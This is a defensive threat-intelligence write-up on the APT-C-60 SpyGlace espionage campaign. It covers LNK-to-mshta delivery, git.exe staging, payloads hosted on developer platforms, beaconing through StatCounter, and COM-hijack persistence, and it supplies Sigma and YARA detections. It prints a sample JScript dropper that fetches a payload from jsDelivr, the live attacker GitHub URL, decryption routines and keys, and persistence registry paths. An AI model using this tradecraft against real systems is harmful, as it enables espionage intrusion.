APT-C-60 / SpyGlace 2026: LNK-to-mshta Execution, Developer-Platform Abuse as CDN, and How Japan’s Most-Targeted Espionage Group Turned GitHub, GitLab, and jsDelivr Into a Malware Distribution Network
Your proxy allowlist is the vulnerability. Not a CVE, not an unpatched service, but the line in your web filter policy that says *.githubusercontent.com is fine because developers need it. APT-C-60 read that policy long before you did, and in their 2026 campaign against Japanese organizations they built an entire payload-delivery pipeline on top of it: GitHub, GitLab, jsDelivr, and Codeberg doing the CDN work, a signed git.exe doing the staging, and mshta.exe firing the first shot. There is nothing to patch here. There is only telemetry you are probably not collecting.
Who APT-C-60 Is and Why It Keeps Hitting Japan
APT-C-60 is a South Korea-aligned espionage cluster with a consistent East Asian targeting profile, and Japan sits at the top of its list. This is not opportunistic ransomware crew behaviour. It is patient, low-noise intelligence collection against organizations, and the group has iterated its tradecraft every year while keeping the same core backdoor: SpyGlace.
The lineage matters because it tells you what these operators actually value: quiet initial access and infrastructure that survives reputation-based blocking.
| Year | Initial Access | Notable Infrastructure | Backdoor |
|---|---|---|---|
| 2024 (Aug) | CVE-2024-7262 RCE in WPS Office for Windows | Google Drive, VHDX | SpyGlace v3.1.6 |
| 2024 (late) | VHDX images via cloud storage | GitHub, StatCounter beacon | SpyGlace v3.1.12-3.1.14 |
| 2025 | VHDX direct attachment | GitHub, Bitbucket | SpyGlace |
| 2026 | RAR archive via Proton Drive link, LNK execution | GitHub, GitLab, jsDelivr, Codeberg | SpyGlace v3.1.15/17/18 |
The 2024 WPS Office bug (CVE-2024-7262) was a genuine remote code execution primitive in a hugely popular office suite across East Asia, and the group burned it to drop SpyGlace. But look at the trend line after that: every subsequent campaign moves away from exploiting a vulnerability and toward abusing trust. By 2026 there is no memory-corruption bug in the chain at all. The entire intrusion runs on legitimate binaries, legitimate cloud storage, and legitimate developer platforms. That is the thesis of this whole post. The interesting attack surface in 2026 is not code, it is trust relationships.
The 2026 Delivery Chain at a Glance
Before the deep dive, hold the whole shape in your head. Every stage below is designed to look like something an ordinary user or an ordinary CI runner would do.
Spear-phish email
│ (Proton Drive link OR direct RAR attachment)
▼
RAR archive ──► extract ──► decoy.pdf + Self-Introduction.lnk
│ (RAR strips Mark-of-the-Web from extracted files)
▼
Self-Introduction.lnk
│ self-copy, then: mshta.exe javascript:<obfuscated>
▼
mshta.exe ──► JScript dropper
│ pulls contributing[1].txt from cdn.jsdelivr.net
│ decodes/extracts legit git.exe + .db fragments + IPML.txt
▼
git.exe IPML.txt
│ concatenates .db fragments ──► Downloader1
▼
Downloader1 (SecureBootUEFI.dat lineage)
│ StatCounter Referer beacon (VolSerial+ComputerName, encoded)
│ fetch [VolSerial+ComputerName].txt from raw.githubusercontent.com
▼
Downloader2
│ XOR-decode payloads, COM-hijack persistence
▼
SpyGlace backdoor ──► AES-128-CBC file store + modified-RC4 C2
Notice what is missing: no dropped EXE that a naive AV signature would catch early, no C2 to a freshly registered .top domain, no PowerShell -enc blob screaming for attention. The loudest single artefact in the whole chain is mshta.exe making an outbound HTTPS connection, and most environments do not alert on that.

Dissecting the LNK File
The Windows Shell Link Binary File Format (.lnk) is a criminally underused delivery format precisely because analysts treat shortcuts as inert. They are not. An LNK is a structured binary that starts with a fixed 76-byte SHELL_LINK_HEADER, optionally carries a LinkTargetIDList, and then holds a LinkInfo block and a series of StringData sections. That header magic is what your YARA hooks onto:
Offset 0x00: 4C 00 00 00 HeaderSize = 0x4C
Offset 0x04: 01 14 02 00 00 00 00 00 LinkCLSID
C0 00 00 00 00 00 00 46
Offset 0x14: <LinkFlags> e.g. HasArguments | HasRelativePath
Offset 0x18: <FileAttributes>
... ShowCommand = SW_SHOWNORMAL (0x01)
APT-C-60’s Self-Introduction.lnk points its target at C:\Windows\System32\mshta.exe and stashes the payload in the command-line arguments string, which lives in the StringData COMMAND_LINE_ARGUMENTS section. The obfuscated JavaScript blob rides along inside that argument string. Because the whole thing is one shortcut, a curious user sees a document icon and a plausible filename, double-clicks, and Explorer resolves the target to a signed Microsoft binary. Nothing prompts. Nothing warns.
Two behaviours are worth flagging for detection. First, the LNK copies itself into a working directory before spawning mshta.exe. That produces two file-creation events (Sysmon Event ID 11) tied to the same process and a copy of the shortcut sitting somewhere it has no business being, like %TEMP%. Second, the archive delivery is a deliberate Mark-of-the-Web bypass.
The RAR MOTW bypass, and why it is the real trick
When you download a file from the internet, Windows tags it with a Zone.Identifier alternate data stream, the Mark-of-the-Web. SmartScreen and Office’s Protected View lean on that tag. But MOTW propagation through archive extraction is uneven: certain archive formats and certain extractor versions do not reliably stamp the files they unpack. Delivering the LNK inside a RAR (rather than as a direct email attachment) is how the group launders away the MOTW so the shortcut executes without a security prompt. Hosting that RAR on Proton Drive rather than attaching it directly is a second layer: the malicious bytes never traverse the email gateway, so content-inspection controls at the mail boundary never see them. JPCERT/CC observed both variants, direct-attach and Proton-Drive-hosted, which tells you the group tests against different customer mail stacks.
You can parse the artefact yourself in seconds:
import LnkParse3 # pip install LnkParse3
with open("Self-Introduction.lnk", "rb") as f:
lnk = LnkParse3.lnk_file(f)
data = lnk.get_json()
print("Target :", data["link_info"].get("local_base_path"))
print("Arguments :", data["data"].get("command_line_arguments"))
print("Working dir :", data["data"].get("working_directory"))
print("ShowCommand :", data["header"].get("windowstyle"))
If local_base_path resolves to mshta.exe and command_line_arguments starts with javascript:, you are done triaging. That is not a shortcut, that is a script host in a trench coat.

mshta.exe as a LOLBin: The JavaScript Invocation
mshta.exe is the Microsoft HTML Application host. Its entire job is to run HTA files, which means it happily interprets JScript and VBScript, and critically it does so outside Internet Explorer’s security zone model. Zone policies, ActiveX prompts, the whole IE lockdown apparatus: irrelevant. mshta will instantiate WScript.Shell and run whatever you hand it.
The invocation comes in two shapes. The inline moniker form, which is what the LNK carries:
mshta.exe javascript:<obfuscated_code_block>
And the file form, used when a stage writes an intermediate .hta to disk:
mshta.exe C:\Users\<user>\AppData\Local\Temp\<dropper>.hta
The embedded JavaScript is obfuscated but the pattern is old and readable: a numeric array reconstituted through String.fromCharCode, then evaluated. Here is the class of payload, written the way APT-C-60 writes it, benign for illustration:
// char-code array reconstruction (APT-C-60 obfuscation class)
var c = [110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116];
var s = "";
for (var i = 0; i < c.length; i++) { s += String.fromCharCode(c[i]); }
// deobfuscated first stage: pull the next component from a trusted CDN
var http = new ActiveXObject("MSXML2.XMLHTTP");
http.open("GET", "https://cdn.jsdelivr.net/gh/<repo>/contributing.txt", false);
http.send();
var payload = http.responseText; // base64 blob hiding git.exe + .db + IPML.txt
// ... decode, drop to working dir, then hand off to git.exe
The real chain downloads contributing[1].txt from jsDelivr, searches it for encoded blobs, decodes them, and drops a legitimate signed git.exe alongside a set of .db fragments and a script. Deobfuscating this in practice is boring in a good way: paste the array into a Node REPL or a browser console, join it, and read the plaintext. There is no VM-based obfuscator here, just layers of fromCharCode and base64. The sophistication is in the delivery, not the packer.
git.exe Abuse for Payload Staging
This is the part that should worry anyone running application allowlisting. The dropper does not run its own EXE next. It runs a bundled, Microsoft-signed git.exe from Git for Windows, and uses it to execute IPML.txt. The script that git.exe runs then reassembles a downloader from several .db fragments (a copy /b-style concatenation) into Downloader1, and that reconstituted binary reaches back out to GitHub for the next components.
Why does this work so well?
git.exeis signed by a trusted publisher. WDAC and AppLocker publisher rules that allow developer tooling will allow it. Your allowlist is now the attacker’s execution primitive.git.exeis expected to touch the network and touch the filesystem. A git binary cloning, fetching, and writing files is the definition of normal, so behavioural heuristics that would scream atnotepad.exewriting an executable stay silent.- The malicious downloader never exists on disk as a coherent file until the last moment. It lives as inert
.dbfragments that individually look like nothing, then gets assembled in the working directory. Static scanning of the archive contents finds fragments, not malware.
The lesson for defenders is uncomfortable but simple: allowlisting the identity of a binary is not the same as allowlisting its behaviour. A signed git.exe spawned by mshta.exe and immediately writing an assembled binary is not git being git. It is git being a loader.
Developer Platforms as an Attacker CDN
Here is the core of it. In 2025 the group used GitHub and Bitbucket. In 2026 JPCERT/CC confirmed the expansion to GitLab, jsDelivr, and Codeberg on top of GitHub. Why keep adding platforms? Because each one is a trusted-root TLS endpoint that lives on nearly every enterprise proxy allowlist, and diversity across them means blocking one does not break the chain.
| Platform | Why the attacker picks it | The endpoint abused |
|---|---|---|
| GitHub | Universally allowlisted; raw content served over trusted TLS; commit history preserves payloads | raw.githubusercontent.com/<user>/<repo>/refs/heads/main/... |
| jsDelivr | CDN edge caching, fast, “developer tool”, almost never blocked | cdn.jsdelivr.net/gh/<user>/<repo>@<ref>/... |
| GitLab | Alternative to GitHub, same trust profile, raw file endpoint | gitlab.com/<user>/<repo>/-/raw/main/... |
| Codeberg | Gitea-based, lower profile, less likely to be on a threat feed | codeberg.org/<user>/<repo>/raw/branch/main/... |
The genius, and I use the word deliberately, is the victim-fingerprint-keyed filename scheme. Downloader1 does not blindly pull a static payload. It first computes a per-victim identifier from the machine’s volume serial number and computer name, then the operators upload a file named [VolumeSerialNumber+ComputerName].txt to their GitHub repo for that specific host. Downloader1 fetches exactly that file:
https://raw.githubusercontent.com/carolab989/class2025/refs/heads/main/[VolumeSerialNumber+ComputerName].txt
The URL inside that per-victim file points Downloader1 at the next stage. This gives the operators a kill switch and a targeting filter in one: sandboxes and researchers whose fingerprints they never provisioned get a 404 and the chain dies. Real victims get served.
There is a beautiful irony JPCERT/CC exploited: because the payloads are hosted in git repositories, and because git preserves history, every payload the group ever pushed can be recovered unless they delete the repo. JPCERT recovered attacker email addresses from the commit logs and enumerated compromised devices straight from the [VolSerial+ComputerName].txt filenames sitting in the tree. The same trust that makes the platform a great CDN makes it a great forensic goldmine. Use it.
The StatCounter beacon
Before pulling the GitHub file, Downloader1 announces itself through StatCounter, a real web-analytics service. It encodes the victim ID (derived from computer name, home directory, and username) and smuggles it out in the HTTP Referer header of a GET request to statcounter.com. To the network it looks like an analytics ping. To the operators it is a check-in. The command 1* toggles the beacon interval from the default one hour to six hours, so the operators can deliberately go quieter in an environment they think is being watched. That single detail tells you these are careful humans, not a fire-and-forget kit.

Reversing Downloader1 and Downloader2
Downloader1 unpacks its components in memory with an enhanced RC4 routine and resolves its Windows APIs dynamically to defeat static import analysis. The API-name decoding is a two-step arithmetic scheme, and it changed between versions: current samples do ADD 0x04 then XOR 0x05 per byte. The SpyGlace loader uses the identical scheme, which is a strong shared-code attribution signal.
def resolve_api_name(encoded: bytes) -> str:
# APT-C-60 dynamic API resolution: ADD 0x04 then XOR 0x05
out = bytearray()
for b in encoded:
b = (b + 0x04) & 0xFF
b ^= 0x05
out.append(b)
return out.decode("ascii", errors="replace")
Downloader2’s payloads are protected with a straight repeating-key XOR. The key is hardcoded and long enough to look like entropy at a glance, which is exactly why a defender who knows it can gut the whole stage:
KEY = b"AadDDRTaSPtyAG57er#$ad!lDKTOPLTEL78pE"
def xor_decrypt(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
with open("payload.bin", "rb") as f:
dec = xor_decrypt(f.read(), KEY)
with open("payload_dec.bin", "wb") as f:
f.write(dec)
print("[+] decrypted", len(dec), "bytes")
Downloader2 fetches two components (staged historically as cbmp.txt / icon.txt, renamed on disk to cn.dat and sp.dat), XOR-decodes them, and executes cn.dat through COM hijacking to establish persistence and stand up SpyGlace.
SpyGlace Backdoor: The C2 Protocol
SpyGlace splits its cryptography by purpose, which is a nice tell. Files it stashes on disk use AES-128-CBC with a hardcoded key and IV:
KEY: B0747C82C23359D1342B47A669796989
IV : 21A44712685A8BA42985783B67883999
The download command retrieves encrypted files, decrypts them with that key/IV pair, and writes to %temp%\wcts66889.tmp. That temp filename is a durable IOC across versions.
Its C2 channel is different: Base64-wrapped, modified RC4. The RC4 variant is not stock. It runs extra key-scheduling-algorithm cycles and layers additional XOR operations on top, which frustrates naive keystream recovery and generic RC4 traffic classifiers. Conceptually:
def modified_ksa(key: bytes, rounds: int = 2):
s = list(range(256))
j = 0
for _ in range(rounds): # extra KSA cycles vs stock RC4
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
return s
def modified_prga(s, data, mask=0x?? ): # additional XOR manipulation
i = j = 0; out = bytearray()
for b in data:
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) & 0xFF]
out.append(b ^ k ^ mask) # extra XOR layer
return bytes(out)
The command set has grown to 17 handlers across versions 3.1.12 to 3.1.14, covering the usual espionage feature list: file listing, download, upload, process control, and module loading. Two evolution details are worth knowing:
prockillandproclist(present in the 2024 v3.1.6) were gutted to no-ops in later builds. The operators kept the command bytes but made them do nothing, probably to break detections that hunted those specific behaviours.- A new command,
uld, calls a named export of a loaded module and then unloads the module two seconds later. That is a hot-swappable plugin mechanism: run a task, drop the DLL, leave no resident module for a memory scanner to find.
JPCERT/CC observed v3.1.15, v3.1.17, and v3.1.18 in 2026 with no major functional changes, which reinforces the pattern: the group invests in delivery, not in the backdoor.
COM hijacking persistence, and its version drift
Persistence loads the malicious DLL through a hijacked CLSID under HKCU\Software\Classes\CLSID\, so it runs as the user with no UAC prompt whenever the associated COM object is instantiated. The CLSIDs to watch:
{566296fe-e0e8-475f-ba9c-a31ad31620b1}\InProcServer32
{64B8F404-A4AE-11D1-B7B6-00C04FB926AF}\InProcServer32
The auto-execution path also drifted between versions, from %public%\AccountPictures\Default\ in v3.1.13 to %appdata%\Microsoft\SystemCertificates\My\CPLs in v3.1.14. Static path IOCs age out fast with this group, so hunt on the mechanism (a non-installer process writing an InProcServer32 under HKCU), not just the strings.
Detection Engineering: Windows Telemetry, Sigma, and YARA
Map the chain to MITRE ATT&CK first so you know what you are hunting: T1566.002 (Spearphishing Link) and T1566.001 (Attachment), T1204.001/.002 (User Execution), T1218.005 (Mshta), T1059.007 (JavaScript), T1105 (Ingress Tool Transfer), T1027 (Obfuscated Files), T1546.015 (Component Object Model Hijacking), T1071.001 (Web Protocols), and T1102 (Web Service for C2/dead-drop resolver).
Endpoint telemetry that actually catches this
| Source | ID | What to hunt |
|---|---|---|
| Sysmon | 1 | mshta.exe with javascript:/vbscript: in CommandLine; parent explorer.exe |
| Sysmon | 1 | git.exe whose ParentImage is mshta.exe, wscript.exe, cscript.exe, or cmd.exe |
| Sysmon | 3 | Outbound TCP from mshta.exe (HTA apps almost never talk to the internet) |
| Sysmon | 7 | Unsigned DLL image-loaded into mshta.exe or git.exe |
| Sysmon | 11 | LNK self-copy into %TEMP%; .db fragment writes; wcts66889.tmp |
| Sysmon | 13 | Registry set on the two SpyGlace CLSID InProcServer32 keys |
| Security | 4688 | Process creation with command-line auditing for mshta.exe/git.exe |
| Security | 4657 | HKCU\Software\Classes\CLSID\ writes outside a software-install context |
On the ETW side, Microsoft-Windows-Kernel-Process gives you clean parent/child with full image paths, Microsoft-Windows-DNS-Client catches LOLBins resolving raw.githubusercontent.com, cdn.jsdelivr.net, codeberg.org, gitlab.com, and statcounter.com, and Microsoft-Windows-WinINet/WinHttp surface HTTP from processes that have no business making HTTP requests.
Sigma: the two rules that matter most
title: mshta.exe Inline JavaScript Execution (APT-C-60 Style)
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'javascript:'
- 'vbscript:'
condition: selection
level: high
tags: [attack.defense_evasion, attack.t1218.005]
title: git.exe Spawned by Script Host or mshta (LOLBin Staging)
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\git.exe'
ParentImage|endswith: ['\mshta.exe','\wscript.exe','\cscript.exe','\cmd.exe']
condition: selection
falsepositives:
- CI/CD agents running as SYSTEM (tune by ParentCommandLine)
level: high
tags: [attack.execution, attack.t1059.007, attack.t1105]
A third rule alerts critical on any registry set touching the two SpyGlace CLSIDs. That one has near-zero false positives; treat a hit as an active intrusion.
YARA for the LNK and the JS dropper
rule APT_C60_LNK_MSHTA_JavaScript {
meta:
description = "LNK targeting mshta.exe with inline javascript - APT-C-60 2026"
reference = "JPCERT/CC 2026"
strings:
$lnk_magic = { 4C 00 00 00 01 14 02 00 }
$mshta = "mshta" ascii nocase wide
$js_moniker = "javascript:" ascii nocase wide
condition:
$lnk_magic at 0 and $mshta and $js_moniker
}
rule APT_C60_JS_Dropper_jsDelivr {
strings:
$jsdelivr = "jsdelivr" ascii nocase
$xor_key = "AadDDRTaSPtyAG57er#$ad!lDKTOPLTEL78pE" ascii
$contributing = "contributing" ascii
$charcode = "fromCharCode" ascii
condition:
($jsdelivr and $charcode) or $xor_key
}
rule SpyGlace_Payload_AES_Key {
strings:
$aes_key = "B0747C82C23359D1342B47A669796989" ascii
$aes_iv = "21A44712685A8BA42985783B67883999" ascii
$tmp = "wcts66889" ascii
condition:
2 of them
}
Hunting Developer-Platform CDN Abuse in Proxy Logs
This is the section almost no blue team has built, and it is the one that actually defeats this campaign. A connection to raw.githubusercontent.com is not suspicious. A connection to cdn.jsdelivr.net is not suspicious. That is precisely the point, and it is why domain and IP reputation, the backbone of most network detection, is useless here. You cannot blocklist GitHub.
So stop asking where and start asking who and how. The pivot is process context on the proxy/EDR join, not the destination.
Practical hunting logic:
- Process-anchored allowlist. Alert on any HTTP GET to
raw.githubusercontent.com,cdn.jsdelivr.net,gitlab.com/*/-/raw/*, orcodeberg.org/*/raw/*where the requesting process is not a known developer tool (the IDE,gitinvoked from a real shell session,npm,pip,cargo, the package managers). Ifmshta.exe,wscript.exe,cscript.exe, or a freshly-assembled binary in%TEMP%is pulling raw content from a code host, that is your intrusion. - The
git.exeprovenance test. Legitimategit.exefetches have a shell or CI parent. APT-C-60’sgit.exehasmshta.exeor a script host as parent and immediately writes an assembled file. Join proxy logs to Sysmon EID 1 on the source host and filter on parent process. - StatCounter Referer anomaly. Alert on GET requests to
statcounter.comwhere theRefererheader is an opaque alphanumeric string of roughly 12 to 20 characters. Legitimate analytics referers are real URLs. An encodedVolumeSerialNumber+ComputerNameis not, and its presence is a high-confidence compromise indicator worth immediate response. - Filename entropy on code-host paths. Hunt for requests to
refs/heads/main/paths ending in filenames that look like hex-plus-hostname ([A-F0-9]{8,}<hostname>.txt). Real repos do not serve files named after your volume serial number. - Repo reputation and age. New, low-star, single-committer repos being pulled by non-developer endpoints deserve scrutiny. The account name in the abused URL (
carolab989/class2025in the 2025 case) is throwaway; the pattern of a single endpoint hitting a brand-new repo once is the signal.
If your proxy logs and your EDR process telemetry live in different tools that never talk, that is the gap to close this quarter. The entire detection for this actor lives at the join between “what domain was requested” and “which process requested it.”
Hardening and Mitigations
- Block or audit
mshta.exeoutright. Almost nothing in a modern enterprise legitimately needs the HTA host. WDAC or AppLocker deny rules formshta.exe(andwscript.exe/cscript.exewhere feasible) kill Stage 1 dead. - Move past publisher-only allowlisting. A signed
git.exeis trusted by identity but should not be executable from arbitrary%TEMP%working directories spawned by script hosts. Constrain developer tooling to expected paths and parents. - Enforce MOTW and kill risky archive handling. Configure Attack Surface Reduction rules and ensure your archive tooling propagates the Zone.Identifier. Treat RAR/ISO/VHDX from email and cloud links as high risk.
- Instrument the proxy-to-endpoint join. This is the strategic fix. Ship proxy logs and Sysmon/ETW to the same place and write the process-anchored rules above.
- Recover payloads while you can. If you find the abused repo, pull the commit history before it is deleted. The
[VolSerial+ComputerName].txtfilenames enumerate other victims in your estate, and commit metadata may burn the operators.

Key Takeaways
- The vulnerability in the 2026 APT-C-60 chain is not a CVE, it is your trust policy. There is nothing to patch, only telemetry to collect.
- Reputation-based network defence is defeated by design here. GitHub, GitLab, jsDelivr, and Codeberg cannot be blocklisted, so detection has to pivot to which process made the request, not the destination.
mshta.exemaking an outbound connection andgit.exeparented by a script host are two of the highest-signal, lowest-noise detections you can deploy today.- The SpyGlace crypto is well-documented: XOR key
AadDDRTaSPtyAG57er#$ad!lDKTOPLTEL78pE, AES keyB0747C82C23359D1342B47A669796989, thewcts66889.tmpartefact, and the two persistence CLSIDs are durable IOCs. Path-based IOCs drift every version; hunt the mechanism. - Build the proxy-plus-EDR join. It is the single control that turns this actor’s greatest strength, trusted-platform abuse, into their exposure.
Related Tutorials
References
- Update on Attacks by Threat Group APT-C-60 in 2026 – JPCERT/CC Eyes
- Update on Attacks by Threat Group APT-C-60 (Nov 2025) – JPCERT/CC Eyes
- Attack Exploiting Legitimate Service by APT-C-60 (Dec 2024) – JPCERT/CC Eyes
- APT-C-60 Hackers Exploit StatCounter and Bitbucket in SpyGlace Malware Campaign – The Hacker News
- APT-C-60 Attack Update for Japan in 2026 – SOC Prime